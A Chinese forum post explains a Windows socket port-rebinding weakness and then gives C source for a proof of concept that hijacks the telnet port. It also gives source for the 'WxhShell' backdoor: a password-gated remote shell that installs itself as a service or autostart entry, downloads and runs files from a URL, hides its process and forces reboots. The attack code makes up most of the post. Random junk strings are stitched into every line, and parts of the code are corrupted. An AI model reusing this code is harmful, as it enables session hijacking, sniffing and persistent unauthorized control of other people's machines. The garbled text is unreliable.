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[讨论]用端口截听实现隐藏嗅探与攻击

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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: e7# B?  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); !%8|R]d  
pz uR H1[  
  saddr.sin_family = AF_INET; :\Pk>a  
krt8yAkG  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); {(00,6M)i  
cVR#\OM  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); ";>>{lYA.  
AJ%x"  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 IegZ)&_n  
#0F6{&; M  
  这意味着什么?意味着可以进行如下的攻击: AhNy+p{  
'K8emt$d+  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 $h)VKW^\  
?J1x'/G  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) p3f>;|uh_  
0}:wM':G  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 8B|qNf `Yi  
 n}f*>Mn  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  q ad`muAd  
uFXu9f+  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 /-mo8]J#2~  
 '7j!B1K-  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 Z(gW(O9h.V  
%K$f2):  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 @71n{9  
=ghN)[AZV  
  #include j,%<16f^A  
  #include uPvE;E_  
  #include .dr-I7&!  
  #include    5|pPzEA>  
  DWORD WINAPI ClientThread(LPVOID lpParam);    > h>  
  int main() ]-7$wVQ<  
  { g6wL\g{29  
  WORD wVersionRequested; eX1<zzd  
  DWORD ret; Vw P+tM  
  WSADATA wsaData; AD=qB5:  
  BOOL val; 1(;_1@P  
  SOCKADDR_IN saddr; ;<?mMi@<E  
  SOCKADDR_IN scaddr; Sj`GP p  
  int err; 42If/N?  
  SOCKET s; o/6 'g)r*  
  SOCKET sc; i!U,qV1  
  int caddsize; B>!OW2q0D  
  HANDLE mt; .dM|J'`g  
  DWORD tid;   #K[UqJ+x  
  wVersionRequested = MAKEWORD( 2, 2 ); \]a@ NBv  
  err = WSAStartup( wVersionRequested, &wsaData ); ;rK= jz^Q  
  if ( err != 0 ) { <%~`!n,t0  
  printf("error!WSAStartup failed!\n"); Uql|32j  
  return -1;  r*gQGvc  
  } c-dOb.v0  
  saddr.sin_family = AF_INET; |d@%Vb_  
   qVpV ZH!  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 Xc!0'P0T  
M zWVsV  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); ^@"EI|fsP  
  saddr.sin_port = htons(23); YKk*QcAn  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) ("+J*u*kq_  
  { 2(<2Gnpl  
  printf("error!socket failed!\n"); 2c Pd$j  
  return -1; E5H0Yo.Wi  
  } oQ=v:P]  
  val = TRUE; +Ui @3Q  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 2^\67@9  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) )rqb<O  
  { C1V@\mRi  
  printf("error!setsockopt failed!\n"); g<@P_^vo  
  return -1; [lmghI!  
  } VD,p<u{r  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; PqhR^re0.  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 WaaF;| ,(  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 AxsTB9/  
fs:%L  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) wd 4]Z0;  
  { =.sg$VX  
  ret=GetLastError(); 3t*e|Ih&j5  
  printf("error!bind failed!\n"); ;g:!WXd  
  return -1; h.~:UR*   
  } uVQH,NA,  
  listen(s,2); Al 0 i{.V  
  while(1) 5f` a7R  
  { y,.X5#rnX*  
  caddsize = sizeof(scaddr); CXe2G5  
  //接受连接请求 ['*{f(AI  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); 3>+9Rru  
  if(sc!=INVALID_SOCKET) 0# )I :5  
  { swfcA\7R  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); %/K'VE6pb  
  if(mt==NULL) 4dB6cg  
  { S m%\,/3  
  printf("Thread Creat Failed!\n"); dv_& ei  
  break; |2YkZ nJn  
  } #JOWiO0>  
  } U:a-Wi+  
  CloseHandle(mt); FLqF!N\G  
  } 8@}R_GZc  
  closesocket(s); qG=>eRR  
  WSACleanup(); #)qn$&.H  
  return 0; N`G* h^YQ  
  }   =)2sehU/  
  DWORD WINAPI ClientThread(LPVOID lpParam) d-W@/J  
  { yX {CV7%O  
  SOCKET ss = (SOCKET)lpParam; =u*\P!$  
  SOCKET sc; ({R-JkW: ;  
  unsigned char buf[4096]; TIs~?wb$  
  SOCKADDR_IN saddr; ir72fSe  
  long num; a-A>A_.  
  DWORD val; !zu YO3:  
  DWORD ret; O!,WH?r  
  //如果是隐藏端口应用的话,可以在此处加一些判断 @y|ZXPC#  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   :jJ;&t^^  
  saddr.sin_family = AF_INET; k2"DFXsv  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); {.D^2mj |  
  saddr.sin_port = htons(23); n]15 ~GO.  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) 'aWrjfDy:  
  { U)f;*{U  
  printf("error!socket failed!\n"); (O&R-5m  
  return -1;  1\[En/6  
  } r I-A)b4  
  val = 100; \!+#9sq0  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) *2? -6  
  { ^`HP&V  
  ret = GetLastError(); \V1geSoE  
  return -1; H*gX90{!2  
  } ]12ypcf  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) Pl>BTo>p'  
  { A;06Zrf1  
  ret = GetLastError(); b3zxiq x  
  return -1; )P>}uK;  
  } ".Z1CBM(  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) hxXl0egI  
  { VV$$t;R/  
  printf("error!socket connect failed!\n"); "-WEUz  
  closesocket(sc); hHu?%f*  
  closesocket(ss); oB$P6   
  return -1; Fm|h3.`V  
  } VJ8 " Q  
  while(1) :vsF4  
  { "8NhrUX  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 Z{MR#.I  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 S260h,(,  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 ,sOdc!![  
  num = recv(ss,buf,4096,0); vg.K-"yQW  
  if(num>0) qubyZ8hx  
  send(sc,buf,num,0); 19g-#H!  
  else if(num==0) =!~6RwwwY  
  break; Y*KP1=Md  
  num = recv(sc,buf,4096,0); HRG2sv T4t  
  if(num>0) %xJ6t 5.-  
  send(ss,buf,num,0); Yu`KHvur  
  else if(num==0) o)M=; !  
  break; =Qf.  
  } ]bui"-tlK  
  closesocket(ss);  av!'UZP  
  closesocket(sc); 88}=VS  
  return 0 ; l_1y#B-k5  
  } PlX6,3F  
=8p *Ijs  
#cF ?a5  
========================================================== ` &E-  
8 etNS~^  
下边附上一个代码,,WXhSHELL }[2|86,G;  
/&eF,4  
========================================================== :mI[fQ  
vz *'1ugaA  
#include "stdafx.h" ^(:Z*+X~>  
m0 a<~  
#include <stdio.h> ;r1.Uz(  
#include <string.h> ]i@WZ(  
#include <windows.h> kzb%=EI  
#include <winsock2.h> ^=1:!'*3D  
#include <winsvc.h> =_@Q+N*]|(  
#include <urlmon.h> |#Q4e51H  
#% 1|$V*:  
#pragma comment (lib, "Ws2_32.lib") /ll2lyS+  
#pragma comment (lib, "urlmon.lib") o=}vK[0u  
 yf/c  
#define MAX_USER   100 // 最大客户端连接数 vr$zYdV>  
#define BUF_SOCK   200 // sock buffer M#5*gWfq9  
#define KEY_BUFF   255 // 输入 buffer ?!{nNJ  
w%NT 0J  
#define REBOOT     0   // 重启 Ia'm9Z*  
#define SHUTDOWN   1   // 关机 0\X'a}8Bu  
>(9"D8  
#define DEF_PORT   5000 // 监听端口 N+V_[qr#  
X  *f le  
#define REG_LEN     16   // 注册表键长度 o(|fapK.  
#define SVC_LEN     80   // NT服务名长度 GQvJj4LJp  
Wb7z&vj  
// 从dll定义API \qA^3L~;5  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); G#f(oGn :  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); +'!4kwTR  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); :VvJx]  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); x$WdW+glZ-  
l`' lqnhv  
// wxhshell配置信息 ~Bi{k'A9  
struct WSCFG { MB#KLTwnT  
  int ws_port;         // 监听端口 A:JW Ux  
  char ws_passstr[REG_LEN]; // 口令 % njcWVP;  
  int ws_autoins;       // 安装标记, 1=yes 0=no "{X_[  
  char ws_regname[REG_LEN]; // 注册表键名 d=$1Z. ]  
  char ws_svcname[REG_LEN]; // 服务名 'y<<ce*   
  char ws_svcdisp[SVC_LEN]; // 服务显示名 3v:c".O2O  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 J_tI]?jrU  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 l4LowV7  
int ws_downexe;       // 下载执行标记, 1=yes 0=no U*R  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" }w%W A&"W  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 sP` k{xG  
$mF(6<w  
}; F# a)"$j;  
E~| XY9U36  
// default Wxhshell configuration /`x)B(b  
struct WSCFG wscfg={DEF_PORT, "?Mf%u1R  
    "xuhuanlingzhe", 6j{O/  
    1, D,)^l@UP  
    "Wxhshell", I,Z'ed..  
    "Wxhshell", `JrvD  
            "WxhShell Service", Jemb0Qv  
    "Wrsky Windows CmdShell Service", ud @7%%  
    "Please Input Your Password: ", OQC.p,SO  
  1, y~jYGN  
  "http://www.wrsky.com/wxhshell.exe", e|~s'{3  
  "Wxhshell.exe" J ;e/S6l  
    }; gL-\@4\wc  
d O'apey  
// 消息定义模块 ; ^cc-bLvF  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; j1hx{P'  
char *msg_ws_prompt="\n\r? for help\n\r#>"; CNRiK;nQ  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; [ ]LiL;A&  
char *msg_ws_ext="\n\rExit."; "p[FFg  
char *msg_ws_end="\n\rQuit."; 320g!r  
char *msg_ws_boot="\n\rReboot..."; ?->&)oAh  
char *msg_ws_poff="\n\rShutdown..."; VdfV5"  
char *msg_ws_down="\n\rSave to "; pSml+A:  
ap% Y}  
char *msg_ws_err="\n\rErr!"; h4 X>  
char *msg_ws_ok="\n\rOK!"; H>/LC* 8-  
MY$-D+#/`  
char ExeFile[MAX_PATH]; U(t_uc5q  
int nUser = 0; iI.d8}A  
HANDLE handles[MAX_USER]; G"'[dL)N>  
int OsIsNt; HsQ\xQ"k!  
d mj T$a|  
SERVICE_STATUS       serviceStatus; ?xgrr7  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; N`Q[OFe  
0 3/ <A^  
// 函数声明 nRL2Z5iO-  
int Install(void); N!hS`<}  
int Uninstall(void); #ivN-WKCl  
int DownloadFile(char *sURL, SOCKET wsh); /j`v N  
int Boot(int flag); f|&ga'5g&  
void HideProc(void); iOO1\9{@  
int GetOsVer(void); >FRJvZ6  
int Wxhshell(SOCKET wsl); HcKZmL. wp  
void TalkWithClient(void *cs); sIZ|N"2]A*  
int CmdShell(SOCKET sock); .!&S{;Vv?W  
int StartFromService(void); F~Z~OqCS  
int StartWxhshell(LPSTR lpCmdLine); ?V>\9?zb  
Wz^M*=,  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); \a|bx4M  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); O(Tdn;1  
e[ 8AdE  
// 数据结构和表定义 w'-J24>=  
SERVICE_TABLE_ENTRY DispatchTable[] = EEJsNF  
{ J% t[{  
{wscfg.ws_svcname, NTServiceMain}, , 7kS#`P  
{NULL, NULL} \;%DDw  
}; = Nd &My  
1Z+\>~8  
// 自我安装 =rrbS8To=  
int Install(void) fcC?1M[BP~  
{ >[U.P)7;  
  char svExeFile[MAX_PATH]; ny,a5zEnF  
  HKEY key; ^:yg,cS|Be  
  strcpy(svExeFile,ExeFile); pOz4>R  
*YI>Q@F9  
// 如果是win9x系统,修改注册表设为自启动 9u->.O: p  
if(!OsIsNt) { ;Npv 2yAab  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { b3 ,&RUF  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); o9Z!Z ^  
  RegCloseKey(key); -}W `  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { WRWcB  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); mu!hD^fw  
  RegCloseKey(key); NSPa3NE  
  return 0; b[MdA|C%j  
    } hR]AUH  
  } 8O)!{gB  
} )= ,Lfj8x  
else { \AT]$`8@_  
fy(i<L Z  
// 如果是NT以上系统,安装为系统服务 V(Dn!Nz  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); DsY$  
if (schSCManager!=0) #n[1%8l,  
{ Yp_R+a^  
  SC_HANDLE schService = CreateService 9b0M'x'W5  
  ( M_4:~&N$  
  schSCManager, $2M dxw5  
  wscfg.ws_svcname, WG_20JdJY  
  wscfg.ws_svcdisp, N!`8-ap\^  
  SERVICE_ALL_ACCESS, \3ZQ:E}5  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , l5m5H,`  
  SERVICE_AUTO_START, MZ8jL,a^  
  SERVICE_ERROR_NORMAL, S4jt*]w5b  
  svExeFile, l^F%fIRp)  
  NULL, 8-wW?YTG  
  NULL, y8{PAH8S  
  NULL, 3>`CZ]ip}  
  NULL, 2|1s!Q  
  NULL 0> 6;,pd"  
  ); 3gn) q>Xj$  
  if (schService!=0) gyI(O>e  
  { B3P#p^  
  CloseServiceHandle(schService); ~[mAv #d&i  
  CloseServiceHandle(schSCManager); &dino  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); :LuzKCvBP  
  strcat(svExeFile,wscfg.ws_svcname); Pw"o[8  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { O@ GEl  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); ]vPa A  
  RegCloseKey(key); Au6*hv3:  
  return 0; 4[S0~O{r  
    } g36\%L  
  } vlD!YNy  
  CloseServiceHandle(schSCManager); 9 pGND]tIi  
} 2ja@NT  
} M =!RJ%6f  
u7e g:0Y  
return 1; e*Gm()Vu,  
} bHr2LhQCN  
t ._PS3  
// 自我卸载 M@>EZ  
int Uninstall(void) h9McC3  
{ Qr/8kWa0 C  
  HKEY key; l @hXQ/  
pLFJ"3IJB  
if(!OsIsNt) { \k=.w  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { L29,Y=n@  
  RegDeleteValue(key,wscfg.ws_regname); Vs1j9P|G  
  RegCloseKey(key); PC_#kz  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ? 9.V@+i  
  RegDeleteValue(key,wscfg.ws_regname); p<|I!n&9  
  RegCloseKey(key); a:o Z5PX=  
  return 0; Sv7_-#SW<(  
  } QL>G-Rp  
} _)7dy2%{q  
} ;BEg"cm  
else { m\h/D7zg  
xb!h?F&  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); (O N \-*  
if (schSCManager!=0) ,_ XDCu @  
{ UXXN\D  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); uhuwQS=X  
  if (schService!=0) ZD9UE3-  
  { ~h~K"GbC?  
  if(DeleteService(schService)!=0) { Fr}e-a  
  CloseServiceHandle(schService); H?M#7K~[  
  CloseServiceHandle(schSCManager); AQ!FJ(X(  
  return 0; 'oZ/fUl|7  
  } ({ 7tp!@  
  CloseServiceHandle(schService); DRo@gYDn  
  } w$9aTL7  
  CloseServiceHandle(schSCManager); ) 0x* >;"o  
} No)v&P%  
} *-timVlaE  
74c1i  
return 1; jb' hqz  
} p%A(5DE  
62B` Z5j#  
// 从指定url下载文件 Phsdn`,  
int DownloadFile(char *sURL, SOCKET wsh) 5q`d=L,  
{ Ojkbv  
  HRESULT hr; ^|6%~jkD5  
char seps[]= "/"; ZDZPJp,  
char *token; lD!o4ZAo  
char *file; $X %GzrN  
char myURL[MAX_PATH]; }2.^n{Y  
char myFILE[MAX_PATH]; v hUn3|  
qy`95^  
strcpy(myURL,sURL); .,:700n+^  
  token=strtok(myURL,seps); &z-f,`yG  
  while(token!=NULL) }b+tD3+  
  { {4Q4aL(  
    file=token; v/]Bo[a  
  token=strtok(NULL,seps); rl^_RI  
  } XelY?Ph,,  
-{>Nrx|  
GetCurrentDirectory(MAX_PATH,myFILE); [=Wn7cr  
strcat(myFILE, "\\"); p6(n\egR  
strcat(myFILE, file); %Ke:%##Y  
  send(wsh,myFILE,strlen(myFILE),0); ]@op  
send(wsh,"...",3,0); (9h{7<wD`  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); fW Vd[zuD4  
  if(hr==S_OK) VT1W#@`e-  
return 0; q P@4KH} e  
else "D7*en  
return 1; ;p"G<n  
Z8$@}|jN  
} rN)T xH&*p  
=6t)-53  
// 系统电源模块 LSQ2pB2V  
int Boot(int flag) <lM]c  
{ %-+lud  
  HANDLE hToken; /vFw5KUu  
  TOKEN_PRIVILEGES tkp; } XCHoB  
o/9(+AA>  
  if(OsIsNt) {  Hw34wQX  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); Tx35~Z`0  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); EA 4a Z6%  
    tkp.PrivilegeCount = 1; m,3?*0BMp=  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; cpB$bC](  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); M:c^ [9)y  
if(flag==REBOOT) { {A4"KX(U  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) A%n l@`s,  
  return 0; #.0^;M5Nh  
} /<Cl\q2 A  
else {  tFvti5  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) '$~9~90?Z  
  return 0; #;U_ L`q  
} 5AR\'||u  
  } 4J2NIFZ  
  else { MpM-xz~  
if(flag==REBOOT) { "A^9WhUpJ  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) Tn[DF9;?  
  return 0; qFmvc  
} /Cr0jWu _  
else { A>^\jIB>  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) &C3J6uCm+  
  return 0; (F_Wys=6  
} E9 {Gaa/{  
} *J@2A)ZDv0  
1i9}mzy%  
return 1; -[~UX!XFM  
} .O'S@ %]  
)cB00*/  
// win9x进程隐藏模块 E/:<9xl  
void HideProc(void) .l5y !?  
{  %"j<`  
lyKV^7}  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); Mw7 ~:O`  
  if ( hKernel != NULL ) GiB3.%R`  
  { gNl@T  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); gOa'o<  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); PdJtJqA8h\  
    FreeLibrary(hKernel); }:YS$'by  
  } UaCEh?D+Y  
wFpt#_fS  
return; c+#GX)zh\G  
} Z=DAA+T`  
2}1(j  
// 获取操作系统版本 ~.mnxn  
int GetOsVer(void) 5) o-$1s A  
{ :h?"0,  
  OSVERSIONINFO winfo; {AqN@i  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); B[ooT3V  
  GetVersionEx(&winfo); r#rQ3&Vn  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) #b []-L!  
  return 1; ? )-*&1cv  
  else eh nN  
  return 0; (7`&5m d  
} 4p&qH igG  
=)"60R7{  
// 客户端句柄模块 .Nr}V.?57  
int Wxhshell(SOCKET wsl) rE[*i q,#  
{ p+#J;.  
  SOCKET wsh; O9oVx4=  
  struct sockaddr_in client; 83:m 7;  
  DWORD myID; }Gr5TDiV0\  
!)ey~Suh  
  while(nUser<MAX_USER) N%/Qc hu  
{ / O6n[qj|  
  int nSize=sizeof(client); z}yntY]n  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); c*K-?n9YMz  
  if(wsh==INVALID_SOCKET) return 1; -ZH]i}$  
U/Z!c\r  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); jE2k\\<a  
if(handles[nUser]==0) &CF74AN#  
  closesocket(wsh); cysYjuI i  
else F4>}mIA  
  nUser++; ItHKpTe r  
  } wx BQ#OE  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); ^o,Hu#  
eI; %/6#  
  return 0;  gvYa&N  
} $ w:QJ~,s  
#z-6mRB  
// 关闭 socket S *?'y  
void CloseIt(SOCKET wsh) aePhtQF  
{ %JBp~"  
closesocket(wsh); {_|~G|Z  
nUser--; /"tVOv#  
ExitThread(0); $}2m%$vJO  
} o5mt7/5[i  
.?CDWbzq  
// 客户端请求句柄 -#j-Zo+<  
void TalkWithClient(void *cs) =G;whd}]  
{ 1\{0z3P  
' wvZnb  
  SOCKET wsh=(SOCKET)cs; 1wuLw Ad  
  char pwd[SVC_LEN]; 1C^6'9o  
  char cmd[KEY_BUFF]; 'CjcOI s  
char chr[1]; ='T<jV`evu  
int i,j; bw9a@X  
;$&&tEh)  
  while (nUser < MAX_USER) { B4pheKZ2  
5G'X\iR  
if(wscfg.ws_passstr) { }E[S%W[  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); *bDuRr?v9  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); #?YQ&o~gZ  
  //ZeroMemory(pwd,KEY_BUFF); 9yajtR  
      i=0; DoX#+ 07u4  
  while(i<SVC_LEN) { =et=X_3-  
]zmY] 5  
  // 设置超时 [{ K$sd  
  fd_set FdRead; F=Z|Ji#  
  struct timeval TimeOut; ?Q="w5OOD  
  FD_ZERO(&FdRead); Uc!} D  
  FD_SET(wsh,&FdRead); O1Ey{2Q  
  TimeOut.tv_sec=8; mWsVOf>g  
  TimeOut.tv_usec=0; POfvs]  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); ;gTdiwfgZ=  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); 25t2tj@S  
?W1( @.  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); E).N u  
  pwd=chr[0]; L,p5:EW8.  
  if(chr[0]==0xd || chr[0]==0xa) { {tk42}8k  
  pwd=0; IX']s;b  
  break; {[61LQ6V9  
  } ' ]l,  
  i++; YDyOhv  
    } |s+[489g'6  
8k2prv^  
  // 如果是非法用户,关闭 socket zIf/jk  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); J1YP-:  
} ,m{Zn"?kS  
]L^X}[SH  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); l131^48U  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 5Lo{\7%  
)/HSt%>  
while(1) { =S4_^UY;  
j5|PQOK  
  ZeroMemory(cmd,KEY_BUFF); D0v!fF ~  
0rxlN [Yp  
      // 自动支持客户端 telnet标准   pjvChl5  
  j=0; P7&a~N$T6W  
  while(j<KEY_BUFF) { `8\ _ ]w0  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); /P<RYA~  
  cmd[j]=chr[0]; %L=ro qz  
  if(chr[0]==0xa || chr[0]==0xd) { _' Xt  
  cmd[j]=0; aU<0<Dx  
  break; ow:c$Zq  
  } y;keOI!  
  j++; $T8Ni!#/C  
    } <oS2a/Nd  
#b4`Wcrj  
  // 下载文件 .wtb7U;7  
  if(strstr(cmd,"http://")) { #yFDC@gH1  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); i d\0yRBt  
  if(DownloadFile(cmd,wsh)) J~V`"uo  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); e57}.pF^  
  else IfF<8~~E  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 3:&!Q*i;  
  } -8HIsRh  
  else { l"*qj#FD  
;VSHXU'H  
    switch(cmd[0]) { z|=l^u6uS  
  >7!4o9)c  
  // 帮助 B%6>2S=E  
  case '?': { 1 ?]Gl+}  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); w{?nX6a@p  
    break; 8|.( Y  
  } mLd=+&M  
  // 安装 ,v4Z[ (  
  case 'i': { X4!` V?  
    if(Install()) F6dm_Oq&  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 8iB1a6TlL  
    else _:x/\ 8P  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); f$Q#xlQM  
    break; /d%&s^M:  
    } ^DS9D:oE  
  // 卸载 h$)!eSu  
  case 'r': { 6k%N\!_TUW  
    if(Uninstall()) F[ N{7C3  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); sI, T"D?  
    else YC - -&66  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 4xk'R[v  
    break; _&FcHwRy  
    } C8}ujC  
  // 显示 wxhshell 所在路径 =O?<WJoK  
  case 'p': { E}-Y@( [  
    char svExeFile[MAX_PATH]; Wo&MHMP  
    strcpy(svExeFile,"\n\r"); J_ ?;On5  
      strcat(svExeFile,ExeFile); +_|M*%  
        send(wsh,svExeFile,strlen(svExeFile),0); Vl5}m  
    break; B=%cXW,  
    } \om$%FUP  
  // 重启 68V66:0  
  case 'b': { [h""AJ~t  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); vRp =L54z  
    if(Boot(REBOOT)) V.Dqbv  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); g05:A0X#  
    else { ;JDn1(6  
    closesocket(wsh); / *Z( ;-  
    ExitThread(0); NC)Iu  
    } 7FW!3~3A_  
    break; vg&Dr  
    } v*7}ux8  
  // 关机 (/14)"Sk  
  case 'd': { AH{]tE  
